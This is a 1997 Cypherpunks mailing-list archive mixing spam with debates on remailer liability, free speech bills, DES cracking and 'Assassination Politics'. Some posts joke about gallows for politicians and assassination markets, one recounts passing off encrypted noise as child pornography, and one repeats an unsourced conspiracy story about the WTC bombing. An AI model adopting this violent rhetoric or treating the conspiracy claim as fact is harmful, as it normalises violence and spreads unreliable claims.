From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: PR.Dept.at.SUBMITKING@keepmailing.com
Date: Tue, 17 Jun 1997 03:02:45 +0800
To: cypherpunks@toad.com
Subject: Congratulations!  We found your site!
Message-ID: <199706161821.OAA28029@199706161821.OAA28029>
MIME-Version: 1.0
Content-Type: text/plain



Greetings from SUBMITKING, the leader in automated URL submissions!  

We found your website using our high-technology, specially designed, "web
crawling" software.  Unfortunately, most people don't have access to this
type of technology.  But we can help!

As you're aware, most people find websites using any number of popular (and
sometimes not so popular) search engines and other marketing resources (like
"Site of the Day" (Week, Month, etc.)).  But who has the hours and hours to 
spend searching the Web to find these resources and THEN submit the 
information to each one?  We did it for you!

SUBMITKING has taken thousands of man hours to research the top resources
people use to find what they need on the Internet.  With even more hours we 
have written special software for each individual resource so that with the 
information from one form you fill out we can register YOUR site with each 
of these resources as well as you could do it yourself...if you had 20 or so 
hours on your hands. 

Sure, we charge for this service.  It's $19.95 for submission to all 200
resources.  Which works out to less than a dime each.  If you COULD do each
site in just 5 minutes (paying yourself .10 each) you'd do 12 an hour (thus
earning a whopping $1.20 per hour).

Probably 50 or 100 visitors to your site is all it would take to see a huge
return on your investment.  It's a logical thing to do when you consider all
the benefits you stand to gain from being listed in 200 places. That being
said we can say no more.  We simply invite you to visit the site at
http://www.submitking.com and Thank-you for your time.

Kind regards,

SUBMITKING





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 17 Jun 1997 06:25:33 +0800
To: Alan <alano@teleport.com>
Subject: Re: Avoid loud warnings--it only attracts disruptors
In-Reply-To: <v03102805afcb4eabeb59@[207.167.93.63]>
Message-ID: <v03102806afcb66c6954a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:45 PM -0700 6/16/97, Alan wrote:
>On Mon, 16 Jun 1997, Tim May wrote:
>> (I admit to having a perverse side, too. No suprise to many of you. Several
>> years ago I posted some binaries to the brand-new newsgroup,
>> "alt.binaries.pictures.erotica.children". I claimed they were some hot
>> lolitas, though in fact they were misc. PGP noise, with hidden text
>> messages running down some of the diagonals, to get me off the hook if some
>> DA claimed they were real pictures and demanded the decryption key. I
>> wanted to shake things up. Got a lot of outraged responses, too.)
>
>Were they outraged that it was not kiddy porn or outraged that they could
>not get to it or outraged because you claimed it was kiddy porn?  (I tend
>to direct people to
>http://www.thecorporation.com/oneoffs/96/kittyporn/index.html for that
>sort of stuff...)

Some of them said I should be imprisoned for posting erotic images of
children. And some of them wanted me to send them the proper decryption key.

And some even claimed, after I revealed that the supposed GIF images were
not real, that I was nevertheless guilty of "making a market in child
porn." As we've been discussing lately, a classic case of "thoughtcrime."

>Makes you wonder what they were doing reading that group in the first
>place...

No doubt they were "researchers." Got to study those nekkid pictures
really, really carefully, with a magnifyng glass....yeah, "researchers."
Just like "se7en."

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 17 Jun 1997 03:36:32 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Declan as a Budding Washington Insider
In-Reply-To: <Pine.LNX.3.91.970616112023.236B-100000@fatmans.demon.co.uk>
Message-ID: <v03007803afcb3b906784@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:10 -0700 6/16/97, Tim May wrote:
>Some of you, including Declan, have read too much in my comments. I did not
>say he _had_ sold out, I said in several places there is a well-known
>danger of becoming assimilated by the Washington system. Reread what I said.
>
>(By the way, I've never suggested Declan would lose his ideological
>bearings. Democrats and Republicans who become assimilated remain true to
>their roots, but they see everything as part of a larger system, a
>negotiation. They lose their ability to see in outside the Beltway simple
>terms. The giveaway will be if and when Declan begins to say that things
>are not so simple.)

What I found interesting about Tim's comments above is how he neglects to
mention libertarians. Certainly he realizes my "ideological bearings" are
much closer to libertarianism than conservatism or modern liberalism.

Do the folks at the Cato Institute, the Competitive Enterprise Institute,
IFJ, IHS, or AEI "lose their ability to see in simple terms?" I suggest not.

-Declan

PS: Details about negotiations and who's-backing-what-bill and what the
political tradeoffs will be are often astoundingly complex. But the
underlying principles remain crystal-clear: government out of our private
lives.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 17 Jun 1997 06:44:38 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Anonymous proxies & ITAR question
In-Reply-To: <3.0.2.32.19970616102113.00751b44@popd.ix.netcom.com>
Message-ID: <v03102807afcb6a045849@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



I want to elaborate on a point I made earlier:

At 1:11 PM -0700 6/16/97, Tim May wrote:

>"I operate an electronic mail service. I abide by the terms of the
>Electronic Communications Privacy Act,  the ECPA, and I do not inspect or
>monitor the contents of the mail flowing in my system. To do so would be a
>violation of the ECPA. And besides the ECPA, such inspection would be a
>violation of the property rights of my users.

It's important to realize that "scienter" (knowledge) of some criminal act
is an important part of the law in the United States.

We don't hold the owners or operators of a storage facility, like a
U-Stor-it, responsible for illegal materials stored, be they drugs,
explosives, guns, pornography, crypto, dead bodies, or other illegal or
contraband things. We also don't expect operators of such facilities to
inspect items going into storage. (I'm _not_ saying customers have some
right of privacy, I'm saying that operators make contractual arrangements,
and inspecting contents is a time-consuming thing which they'd rather not
do, and which their customers would rather not see done. What law
enforcement might want is another matter, as it usually is, and for this we
have a thing called "the court system.)

Likewise, we don't hold hotel owners or clerks responsible for the many,
many crimes and misdeeds which hotel rooms are notorious for. Hotel rooms
are the favored locations for prostitution, narcotics deals, plotting of
crimes, etc.

(In both of the above examples, it is possible to imagine circumstances in
which a storage facility or hotel is charged with complicity in one way or
another. Sometimes hotels which encourage prostitution are hit with various
charges, including "public nuisance" laws. But these do not affect the more
basic point that scienter is expected before a crime is charged, and that a
kind of "containerization" of property rights means that the temporary
users of some property are responsible, not the actual owner or leasor.)

The renter of a car or truck is not responsible for the contents. The
driver of a truck is not responsible for illegal substances contained in
packages that are not his and that he had no knowledge about, etc. Federal
Express is not responsible if porn is sent in violation of some law.

(Yes, there are some exceptions. Nuisance laws, negligence laws, etc.
Again, not related to the central point. Some believe remailers could be
hit under the nuisance laws, but I am skeptical of this....publishers
cannot be shut down because they are a "nuisance," so far as I know. Lots
of things to consider here.)

I think this line of reasoning, that the "common law" in Western countries
is that owners and leasors are not the one responsible for crimes committed
using their property and services (unless they are knowledgeable about the
crimes, which is a separable issue), is straightforwardly applicable to the
remailer issue.

Besides, the ECPA, as noted, makes it an explicit crime for mail services
to inspect the contents of mail except under specified or agreed-upon
conditions.

--Tim may



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 17 Jun 1997 06:54:32 +0800
To: cypherpunks@Algebra.COM
Subject: Re: ACLU/EPIC: First Amendment Pledge Campaign
In-Reply-To: <Pine.GSO.3.95.970616140435.25992G-100000@well.com>
Message-ID: <v03102808afcb6e1b4e35@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:38 PM -0700 6/16/97, William H. Geiger III wrote:

>>               ACLU, EPIC Call on Congress and Clinton to
>>                   "Take the First Amendment Pledge"
>
>The sad thing is that we need them to do it a second time. They already
>made this pledge once before, it's called the oath of office.
>
>If the ingore it after the first time why should they honor it a second
>time?

Indeed, it looks to be just press release jive.

If they "take the pledge" on the First, why not the Second? And all the others?

In any case, they can all take this "pledge" with a clear conscience--not
that I expect many to respond to a PR stunt like this--and say "I do."
After all, their arguments for things like the CDA are not based on
overturning the First Amendment: what they will always claim is that the
law is one of the many "exceptions" to the First Amendment. (There are
many...I presume I don't have to make a list here, do I?)

And will EPIC then withdraw its support of Pro-CODE, which says that
certain forms of speech when used in furtherance of a crime, or to hide a
crime, are criminal?  Would EPIC support a law which said that Spanish is
legal to speak or write in the U.S., unless it is used to further or hide a
crime? How about Pig Latin? How about Rot13? How about whispering? How
about RSA?

So, EPIC, why don't _you_ take the First Amendment Pledge and then
immediately withdraw all support for Pro-CODE so long as it contains this
pernicious language criminalizing certain modes of speech?

I didn't think so.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 17 Jun 1997 06:59:44 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Anonymous proxies & ITAR question
Message-ID: <v03102809afcb7104fd39@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




>The renter of a car or truck is not responsible for the contents. The
>driver of a truck is
          ^^^^^^

This is ambiguous. By this I meant the "person who rents to another," not
the "person who rents from someone."

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 17 Jun 1997 07:48:47 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Capitalist Assassination Politics
In-Reply-To: <199706151420.PAA19195@cscmgb.cc.ic.ac.uk>
Message-ID: <3.0.2.32.19970616154947.00762f8c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Bell's AP isn't a Democratic Assassins Program - it's a free-market system.
In a free market, when enough people want something enough to pay for it, 
like buying dope or killing someone, someone may decide it's worth their while
and just do it.  The catch is that he confuses mechanism with policy;
the market doesn't really care _why_ someone has a price on their head.

In a Democratic Assassins Program, everybody gets together and
haggles about who ought to be killed and why, and if a majority
wants someone killed, they go do it, or hire someone to do it for them,
and tell the minority what a wonderful thing Democracy is.

The US theoretically has a Republican Form Of Assassination -
everybody votes on some representatives, and the representatives
do whatever they can get away with, given future elections as a moderating
threat,
such as assassinating hundreds of thousands of Iraqis instead of the
one Iraqi they told us we should all Hate for Two Minutes,
or sending poisoned cigars to annoying bearded guys.

In practice, we have a Capitalist Mixed-Economy Assassination Process -
the Representatives decide to assassinate some people because it
seems to be popular in the polls, and other people because the 
Big Business interests want them assassinated, or because the 
Pentagon wants to advertise their availability for future jobs, and
some free-market "work" gets done, since you don't _have_ to 
annoy the national-scale interests to get assassinated,
some things get done by Good Old Fashioned Volunteerism*,
government-hired assassins decide ignore some collateral damage
or work overtime in the war on Republicanly-Selected Substances
and some people are society offenders who might best be underground
or just tempt Darwin too many times.


[* President's Commission on Volunteerism
http://www.whitehouse.gov/volunteer.htm  ]


----
Attachment Converted: http://www.cia.odci.gov/assassination/nominations.doc
----



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 17 Jun 1997 07:02:59 +0800
To: trei@process.com
Subject: Re: [DES] Anguilla surpasses US military in code breaking challe
In-Reply-To: <199706161546.IAA05715@toad.com>
Message-ID: <33A5B74F.7C4B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Peter Trei wrote:
> Vince writes:
> > Press Release
> >     Anguilla surpasses US military in code breaking challenge.

> > The Caribbean country of Anguilla has searched through more than
> > 2,380,000,000,000 code keys as part of the Deschall effort to break a DES
> > encrypted message.

> They have not released their source code for independent
> evaluation. I for one would feel a lot more comfortable with
> DESChall if there was at least some outside review, even if
> no general release is made.

Peter,
  I emailed the DESChall folks about the same time I was accusing
them and you and the Swedish (?) guy of conspiring to save the
good keys to yourself and demanded their source code, which they
sent to me.
  I read code with the same expertise that Richard Nixon does
standup comedy, but I have a girlfriend who dreams in algorithms
and she was mightily impressed with the code itself. Unfortunately,
they had a problem with hackers fucking with their code and doing
interceptions on the data being transmitted back to their site.

  Since the DESChall folks were so kind as to share their source
code (they have modified it, since then) with a self-professed
lunatic, I have no doubt that they would not object to a real
player in the crypto game (such as yourself) taking a gander at
their source code. They may even need some kindhearted soul to
help them transport it to a specific platform.
  If you contact them and they tell you to fuck off, then give
me a holler and I'll see if Bianca still has the source from
their previous version of the DESChall software. (I think that
the changes in procedure they made applied only to the handling
of the server/client communications so that Dimitri couldn't add
ASCII art to the keycheck results.)

Toto
http://www3.sk.sympatico.ca/carljohn/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Tue, 17 Jun 1997 06:40:45 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: ACLU/EPIC: First Amendment Pledge Campaign
In-Reply-To: <199706162137.QAA23890@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.95.970616160646.10982A-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Mon, 16 Jun 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <Pine.GSO.3.95.970616140435.25992G-100000@well.com>, on 06/16/97 
>    at 02:04 PM, Declan McCullagh <declan@well.com> said:
> 
> >                          JOINT PRESS RELEASE:
> >                     American Civil Liberties Union
> >                Electronic Privacy Information Center
> 
> >               ACLU, EPIC Call on Congress and Clinton to
> >                   "Take the First Amendment Pledge"
> 
> The sad thing is that we need them to do it a second time. They already
> made this pledge once before, it's called the oath of office.
> 
> If the ingore it after the first time why should they honor it a second
> time?
> 

Bravo!

Couldn't have said it better myself.  What do they do with 
presidents who violate their oath of office?   

Would anyone notice?

Jim Burnes






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 17 Jun 1997 06:17:00 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: ACLU/EPIC: First Amendment Pledge Campaign
In-Reply-To: <Pine.GSO.3.95.970616140435.25992G-100000@well.com>
Message-ID: <199706162137.QAA23890@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.970616140435.25992G-100000@well.com>, on 06/16/97 
   at 02:04 PM, Declan McCullagh <declan@well.com> said:

>                          JOINT PRESS RELEASE:
>                     American Civil Liberties Union
>                Electronic Privacy Information Center

>               ACLU, EPIC Call on Congress and Clinton to
>                   "Take the First Amendment Pledge"

The sad thing is that we need them to do it a second time. They already
made this pledge once before, it's called the oath of office.

If the ingore it after the first time why should they honor it a second
time?

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 17 Jun 1997 08:14:29 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: ACLU/EPIC: First Amendment Pledge Campaign
In-Reply-To: <199706162213.RAA24347@mailhub.amaranth.com>
Message-ID: <Pine.GSO.3.96.970616165303.4171D-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 16 Jun 1997, William H. Geiger III wrote:

> IMHO I think that we need a trial, similar to the Nuremberg Trials after
> WWII, for the politicians in DC for "High Crimes Against the Constitution
> of the United States".
> 
> It could even be hyped as a "jobs" program for DC, just think of all the
> gallows that would need to be built. <EG>

It would certainly bring new meaning to the term "well hung politician".
(And one I could live with...)

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 17 Jun 1997 05:35:54 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Declan as a Budding Washington Insider
In-Reply-To: <v03007803afcb3b906784@[168.161.105.191]>
Message-ID: <v03007803afcb5be2a009@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:41 -0700 6/16/97, Tim May wrote:
>As to why I "elide" paragraphs, I do it as I always do it, to save space
>and to adhere to the "never quote more than a half page of text" rule of
>thumb.

Fair enough. I was being overly sensitive.

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 17 Jun 1997 06:46:28 +0800
To: Jim Burnes <jim.burnes@ssds.com>
Subject: Re: ACLU/EPIC: First Amendment Pledge Campaign
In-Reply-To: <Pine.LNX.3.95.970616160646.10982A-100000@westsec.denver.ssds.com>
Message-ID: <199706162213.RAA24347@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.95.970616160646.10982A-100000@westsec.denver.ssds.com>, on
06/16/97 
   at 05:07 PM, Jim Burnes <jim.burnes@ssds.com> said:



>On Mon, 16 Jun 1997, William H. Geiger III wrote:

>> -----BEGIN PGP SIGNED MESSAGE-----
>> 
>> In <Pine.GSO.3.95.970616140435.25992G-100000@well.com>, on 06/16/97 
>>    at 02:04 PM, Declan McCullagh <declan@well.com> said:
>> 
>> >                          JOINT PRESS RELEASE:
>> >                     American Civil Liberties Union
>> >                Electronic Privacy Information Center
>> 
>> >               ACLU, EPIC Call on Congress and Clinton to
>> >                   "Take the First Amendment Pledge"
>> 
>> The sad thing is that we need them to do it a second time. They already
>> made this pledge once before, it's called the oath of office.
>> 
>> If the ingore it after the first time why should they honor it a second
>> time?
>> 

>Bravo!

>Couldn't have said it better myself.  What do they do with 
>presidents who violate their oath of office?   

>Would anyone notice?

IMHO I think that we need a trial, similar to the Nuremberg Trials after
WWII, for the politicians in DC for "High Crimes Against the Constitution
of the United States".

It could even be hyped as a "jobs" program for DC, just think of all the
gallows that would need to be built. <EG>

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 17 Jun 1997 06:58:47 +0800
To: cypherpunks@toad.com
Subject: Re: IBM sues critics?
Message-ID: <199706162228.RAA24621@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v0302090bafcb5bb9218f@[207.226.3.11]>, on 06/16/97 
   at 05:13 PM, Alan Davidson <abd@cdt.org> said:

>At 11:17 AM -0500 6/16/97, William H. Geiger III wrote:
>>
>>Has there been any conformation on this?
>>
>>I would like to get in touch with some of my contacts at IBM but would
>>like to have some info on this first.


>To the best of my knowledge neither CDT nor any of the individual authors
>has been served with any papers or received any other notice of a suit
>regarding the key recovery report. (Available at
>http://www.crypto.com/key_study)

>I suspect that the last thing IBM would want to do is give this experts'
>report
>more publicity.  At this point, rumors of a lawsuit appear to be
>unfounded.

>And remember: In libel cases, truth is always a defense.  :)

I figured that it was FUD but I have seen IBM do much more stupid things
than this so it seemd worth the effort to follow up.

Thanks,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 17 Jun 1997 06:36:55 +0800
To: cypherpunks@toad.com
Subject: Re: Homer on Terrorism
Message-ID: <1.5.4.32.19970616214737.0084fbb8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Steve Schear wrote:

>I agree.  It seems a bit like blackmail to me.  These 'consultants' would
>have better off having friends buy put options on Netscape stock prior to
>the phone call.  Then if Netscape won't pay their price they get the money
>from the market when they make the information public, including the source
>code.  Spare me the insider trading rants.

Good point. Perhaps CNNfn and PC Rag insiders did just that. Maybe
even got a few for CaboComm's account. Maybe the insiders at NSCP 
dumped a few after the negotiations tanked. Screaming "terrorism" for
smoke.

Isn't it conventional wisdom that  the market is churned with with blackmail, 
greenmail, "terrorist" slaughter of W&O and such, laying down "free market"
smoke.

Story from Federal pen here is that the WTC bomb aimed to topple the pile 
onto World Financial Center across the road where the plushest players 
squat on gold but job-lock TLAs running the op said no-no, just terrify the 
fats into upping our CT-consulting fees and budgets, like IRA @ London City.

Inmate Ian was heard to warn, "Worked like a charm, din it: now shut your hole 
Youseff about that salted laptop fabbed up St Andrews, Great Malvern."
 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 17 Jun 1997 07:08:39 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Anonymous proxies & ITAR question
In-Reply-To: <v03102809afcb7104fd39@[207.167.93.63]>
Message-ID: <199706162249.RAA24929@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102809afcb7104fd39@[207.167.93.63]>, on 06/16/97 
   at 03:41 PM, Tim May <tcmay@got.net> said:

>>The renter of a car or truck is not responsible for the contents. The
>>driver of a truck is
>          ^^^^^^

>This is ambiguous. By this I meant the "person who rents to another," not
>the "person who rents from someone."

It "should" work either way. :)

If I went and rented a truck and there was a "roach" in the ashtray I
should not be held accountable for possesion unless it could be proved
that it was mine and not from someone else that had used the truck or even
a worker at the retal shop.

Ofcource if I had the trailer loaded with 100K of coke it would be a
little hard to say that someone else left it there. :)


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Tue, 17 Jun 1997 07:42:11 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Anonymous proxies & ITAR question (fwd)
Message-ID: <199706162250.RAA01843@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> From: "William H. Geiger III" <whgiii@amaranth.com>
> Date: Mon, 16 Jun 97 17:48:52 -0500
> Subject: Re: Anonymous proxies & ITAR question

> >>The renter of a car or truck is not responsible for the contents. The
> >>driver of a truck is
> >          ^^^^^^

The renter is not responsible until they take contractual possession of the
truck. From that point until placed on the companies property and the key is
placed in the lock-box hanging on the fence (or whatever system they use
where you live) it is the responsibility of the renter/driver/physical
possessor of the truck for its behaviour or contents.

> If I went and rented a truck and there was a "roach" in the ashtray I
> should not be held accountable for possesion unless it could be proved
> that it was mine and not from someone else that had used the truck or even
> a worker at the retal shop.
> 
> Ofcource if I had the trailer loaded with 100K of coke it would be a
> little hard to say that someone else left it there. :)

Why should coke be treated any different than pot? How much pot should I be
able to put in such a truck and 'get away' with as a function of SOP? How
much coke?

No, ambiguity like this has no place in law. The litmus test should be
whether a person or their property were damaged without their prior
permission. Crimes should be a function of physical interaction and not some
qualitative or even quantitative test. If it is a crime to do 100 of them
then it should be a crime to do 1/10 (assuming it should be a crime in the
first place).

I can see it now,

"Sorry sir, we had to let him go. He only 1/4 raped her."

Blah.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Davidson <abd@cdt.org>
Date: Tue, 17 Jun 1997 06:47:02 +0800
To: "William H. Geiger III" <cypherpunks@toad.com
Subject: Re: IBM sues critics?
In-Reply-To: <199706161623.LAA20012@mailhub.amaranth.com>
Message-ID: <v0302090bafcb5bb9218f@[207.226.3.11]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:17 AM -0500 6/16/97, William H. Geiger III wrote:
>
>Has there been any conformation on this?
>
>I would like to get in touch with some of my contacts at IBM but would
>like to have some info on this first.


To the best of my knowledge neither CDT nor any of the individual authors
has been served with any papers or received any other notice of a suit
regarding the key recovery report. (Available at
http://www.crypto.com/key_study)

I suspect that the last thing IBM would want to do is give this experts'
report
more publicity.  At this point, rumors of a lawsuit appear to be unfounded.

And remember: In libel cases, truth is always a defense.  :)

	-- Alan Davidson
	   Staff Counsel, CDT
	   "I work for shallow pockets"


Alan Davidson, Staff Counsel                 202.637.9800 (v)
Center for Democracy and Technology          202.637.0968 (f)
1634 Eye St. NW, Suite 1100                  <abd@cdt.org>
Washington, DC 20006                         PGP key via finger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 17 Jun 1997 09:29:14 +0800
To: cypherpunks@Algebra.COM
Subject: Re: ACLU/EPIC: First Amendment Pledge Campaign
Message-ID: <v0310280aafcb9666c58e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Before I even log in and see if anyone else caught this, I wrote:


>And will EPIC then withdraw its support of Pro-CODE, which says that
>certain forms

^^^^^^^^^^

I meant SAFE, of course. Pro-CODE contains no criminalization of crypto
speech provisions, at least not that I've seen.

It's SAFE that's so pernicious.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 17 Jun 1997 07:44:42 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Anonymous proxies & ITAR question (fwd)
In-Reply-To: <199706162250.RAA01843@einstein.ssz.com>
Message-ID: <199706162330.SAA25461@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706162250.RAA01843@einstein.ssz.com>, on 06/16/97 
   at 05:50 PM, Jim Choate <ravage@EINSTEIN.ssz.com> said:

>Hi,

>Forwarded message:

>> From: "William H. Geiger III" <whgiii@amaranth.com>
>> Date: Mon, 16 Jun 97 17:48:52 -0500
>> Subject: Re: Anonymous proxies & ITAR question

>> >>The renter of a car or truck is not responsible for the contents. The
>> >>driver of a truck is
>> >          ^^^^^^

>The renter is not responsible until they take contractual possession of
>the truck. From that point until placed on the companies property and the
>key is placed in the lock-box hanging on the fence (or whatever system
>they use where you live) it is the responsibility of the
>renter/driver/physical possessor of the truck for its behaviour or
>contents.

>> If I went and rented a truck and there was a "roach" in the ashtray I
>> should not be held accountable for possesion unless it could be proved
>> that it was mine and not from someone else that had used the truck or even
>> a worker at the retal shop.
>> 
>> Ofcource if I had the trailer loaded with 100K of coke it would be a
>> little hard to say that someone else left it there. :)

>Why should coke be treated any different than pot? How much pot should I
>be able to put in such a truck and 'get away' with as a function of SOP?
>How much coke?

>No, ambiguity like this has no place in law. The litmus test should be
